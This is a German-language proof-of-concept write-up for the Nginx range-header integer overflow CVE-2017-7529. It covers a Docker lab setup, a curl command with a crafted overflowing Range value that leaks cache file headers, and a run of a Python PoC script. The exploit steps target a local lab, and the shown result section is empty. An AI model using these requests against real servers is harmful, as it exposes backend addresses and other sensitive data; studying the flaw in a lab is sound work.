
Proof-of-Concept-Exploit für einen Integer-Überlauf in Nginx (CVE-2017-7529), der die Offenlegung von Cache-Headern durch manipulierte Range-Anfragen ermöglicht, mit einer Docker-basierten Laborumgebung und einem Python-POC-Skript.
Bei Verwendung des Standardmoduls von Nginx kann ein Angreifer durch Senden einer böswillig formatierten Range-Header-Anfrage die Cache-Dateikopfzeilen in der Antwort erhalten. In bestimmten Konfigurationen können die Cache-Dateikopfzeilen die IP-Adresse des Backend-Servers oder andere sensible Informationen preisgeben, was zu einer Offenlegung von Informationen führt.
Diese Schwachstelle betrifft alle Nginx-Versionen von 0.5.6 bis 1.13.2 mit Standardkonfiguration. Der Angreifer muss lediglich den Cache aktivieren, um böswillige Anfragen für einen Remote-Angriff senden zu können, der zur Offenlegung von Informationen führt.
Wenn der Nginx-Server einen Proxy-Cache verwendet, kann der Angreifer durch Ausnutzung dieser Schwachstelle die echte IP-Adresse des Backend-Servers oder andere sensible Informationen erhalten.
Unseren Analysen zufolge ist die Ausnutzung dieser Schwachstelle einfach und kann als "low-hanging-fruit" eingestuft werden. Sie hat auch in realen Netzwerkangriffen einen gewissen Nutzen.
Nginx version 0.5.6 - 1.13.2
Nginx version 1.13.3, 1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
-p 8000:80: Die 8000 steht für den Port des physischen Rechners und kann beliebig gewählt werden.
$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
Sehen Sie Content-Length: 16585, wählen Sie einen größeren Wert, z. B. 17208. Der zweite Range-Wert ist 0x8000000000000000-17208, also 9223372036854758600.
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
Ergebnis:

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png